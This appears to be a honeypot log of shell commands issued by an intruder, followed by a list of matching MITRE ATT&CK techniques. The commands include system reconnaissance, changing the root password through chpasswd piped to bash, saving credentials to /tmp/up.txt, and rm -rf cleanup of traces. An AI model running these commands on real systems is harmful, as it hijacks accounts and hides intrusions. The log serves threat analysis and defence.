Honeypot attack session (period 2021_2022), commands issued:
cat /proc/cpuinfo | grep name | wc -l
echo -e "jingxin\nsgxghoHkpYCs\nsgxghoHkpYCs"|passwd|bash
Enter new UNIX password: 
echo "jingxin\nsgxghoHkpYCs\nsgxghoHkpYCs\n"|passwd
echo "321" > /var/tmp/.var03522123
rm -rf /var/tmp/.var03522123
cat /var/tmp/.var03522123 | head -n 1
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
lscpu | grep Model
echo "jingxin jingxin" > /tmp/up.txt
rm -rf /var/tmp/dota*
echo "root:JpB3KbM1tlOx"|chpasswd|bash
echo "root nE7jA%5m" > /tmp/up.txt

MITRE ATT&CK techniques observed:
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1070 Indicator Removal